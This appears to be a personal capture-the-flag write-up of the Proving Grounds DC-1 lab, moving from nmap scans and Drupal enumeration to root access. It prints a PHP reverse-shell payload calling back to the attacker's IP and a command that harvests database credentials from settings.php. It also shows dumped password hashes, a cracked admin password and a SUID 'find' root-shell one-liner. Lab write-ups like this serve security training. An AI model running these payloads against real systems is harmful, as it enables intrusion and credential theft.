ProvingGrounds - DC1

NMAP

┌──(root㉿kali)-[~]
└─# nmap -sC -sV -p- -A 192.168.240.193
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 21:37 EDT
Nmap scan report for 192.168.240.193
Host is up (0.047s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35685/udp6  status
|   100024  1          40238/tcp   status
|   100024  1          56691/udp   status
|_  100024  1          58362/tcp6  status
40238/tcp open  status  1 (RPC #100024)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/4%OT=22%CT=1%CU=34050%PV=Y%DS=4%DC=T%G=Y%TM=665FC
OS:1A9%P=x86_64-pc-linux-gnu)SEQ(SP=FA%GCD=1%ISR=10A%TI=Z%II=I%TS=8)SEQ(SP=
OS:FD%GCD=1%ISR=10B%TI=Z%II=I%TS=8)SEQ(SP=FE%GCD=1%ISR=10B%TI=Z%II=I%TS=A)O
OS:PS(O1=M551ST11NW4%O2=M551ST11NW4%O3=M551NNT11NW4%O4=M551ST11NW4%O5=M551S
OS:T11NW4%O6=M551ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)E
OS:CN(R=Y%DF=Y%T=40%W=3908%O=M551NNSNW4%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%
OS:RUCK=B434%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 23/tcp)
HOP RTT      ADDRESS
1   45.00 ms 192.168.45.1
2   44.38 ms 192.168.45.254
3   46.98 ms 192.168.251.1
4   46.99 ms 192.168.240.193

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.61 seconds

port 80: ![](/img/Pasted image 20240604204145.png)

RPC:

┌──(root㉿kali)-[~]
└─# rpcinfo 192.168.240.193
   program version netid     address                service    owner
    100000    4    tcp6      ::.0.111               portmapper superuser
    100000    3    tcp6      ::.0.111               portmapper superuser
    100000    4    udp6      ::.0.111               portmapper superuser
    100000    3    udp6      ::.0.111               portmapper superuser
    100000    4    tcp       0.0.0.0.0.111          portmapper superuser
    100000    3    tcp       0.0.0.0.0.111          portmapper superuser
    100000    2    tcp       0.0.0.0.0.111          portmapper superuser
    100000    4    udp       0.0.0.0.0.111          portmapper superuser
    100000    3    udp       0.0.0.0.0.111          portmapper superuser
    100000    2    udp       0.0.0.0.0.111          portmapper superuser
    100000    4    local     /var/run/rpcbind.sock  portmapper superuser
    100000    3    local     /var/run/rpcbind.sock  portmapper superuser
    100024    1    udp       0.0.0.0.221.115        status     102
    100024    1    tcp       0.0.0.0.157.46         status     102
    100024    1    udp6      ::.139.101             status     102
    100024    1    tcp6      ::.227.250             status     102
                                                                                                                                                                                                  
┌──(root㉿kali)-[~]
└─# nmap -sSUC -p111 192.168.240.193
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 21:44 EDT
Nmap scan report for 192.168.240.193
Host is up (0.048s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
111/udp open  rpcbind
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind

Nmap done: 1 IP address (1 host up) scanned in 14.67 seconds

this doesn't really tell me anything yet, so maybe I will just come back around to this shit after I enumerate port 80. It's using drupal so there's a good chance its vulnerable to something lol

robots has some interesting stuff:

User-agent: *
Crawl-delay: 10
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/

reading hacktricks i find a lorem ipsum page in /node/1 with class 'breadcrumb' - seems interesting. ![](/img/Pasted image 20240604205435.png)

### 

Username enumeration

#### 

[](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/drupal#register)

Register

In _/user/register_ just try to create a username and if the name is already taken it will be notified:

The name admin is already taken. -> nice, first user. total of 4 users [hacktricks trick] ->

 Page not found
The requested page "/user/5" could not be found.

Fuzz **/node/$** where **$** is a number (from 1 to 500 for example). You could find hidden pages (test, dev) which are not referenced by the search engines. ![](/img/Pasted image 20240604211107.png)

hmmm ![](/img/Pasted image 20240604211142.png)

we gonna go to the gym and test one of these out ![](/img/Pasted image 20240604223743.png)

appears to be vulnerable to the sql injection + remote code execution vuln - now just to figure out how to actually use it lmao


	
USERNAME
STATUS
ROLES	
MEMBER FORsort ascending
LAST ACCESS
OPERATIONS

Fred	active	
Editors
5 years 3 months	5 years 3 months ago	edit

admin	active	
administrator
5 years 3 months	5 years 3 months ago	edit

exploit	active	<-- we created this guy
administrator
54 years 5 months	1 min 38 sec ago	edit

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.173/5555 0>&1'"); ?>

drupal find command to dump settings file:

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null


password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null            
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
 *   $drupal_hash_salt = file_get_contents('/home/example/salt.txt');
$drupal_hash_salt = 'X8gdX7OdYRiBnlHoj0ukhtZ7eO4EDrvMkhN21SWZocs';
www-data@DC-1:/var/www$ 
select * from users;
+-----+-----------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
| uid | name      | pass                                                    | mail              | theme | signature | signature_format | created    | access     | login      | status | timezone            | language | picture | init              | data |
+-----+-----------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
|   0 |           |                                                         |                   |       |           | NULL             |          0 |          0 |          0 |      0 | NULL                |          |       0 |                   | NULL |
|   1 | admin     | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | admin@example.com |       |           | NULL             | 1550581826 | 1550583852 | 1550582362 |      1 | Australia/Melbourne |          |       0 | admin@example.com | b:0; |
|   2 | Fred      | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | fred@example.org  |       |           | filtered_html    | 1550581952 | 1550582225 | 1550582225 |      1 | Australia/Melbourne |          |       0 | fred@example.org  | b:0; |
|   3 | user      | $S$DyZWzAb/VTGxJCvcAl8H6xt.1pq8F3hgDRrMy/BdhSjRt.DgCHGw | user@example.com  |       |           | filtered_html    | 1717551580 |          0 |          0 |      0 | Australia/Melbourne |          |       0 | user@example.com  | NULL |
|   4 | superuser | $S$DfluDY1cEK/a/XR1.iOoeRhE.nT0HJkez11WQp2OZTKYmrmGSoFt | admin@admin.com   |       |           | filtered_html    | 1717552563 |          0 |          0 |      0 | Australia/Melbourne |          |       0 | admin@admin.com   | NULL |
|   5 | exploit   | $S$Dvn3l/YnLhCxMU/ob7PTcTxCiipupXTRpwjFmgySDyvCQg.Z.MqZ |                   |       |           | NULL             |          0 | 1717559706 | 1717559017 |      1 | NULL                |          |       0 |                   | b:0; |
+-----+-----------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+

$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

X8gdX7OdYRiBnlHoj0ukhtZ7eO4EDrvMkhN21SWZocs

hashcat:
$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR:53cr3t

damn im an idiot it wasn't necessary at all to crack the admin password. enumerate more thoroughly - /find has SUID bit set to it. Using that to get root access.

find . -exec /bin/sh \; -quit

LESSON LEARNED HERE - RUN LINPEAS!!!!!!!!!!!!!!!! ENUMERATE LITERALLY ANYTHING!!!!!!!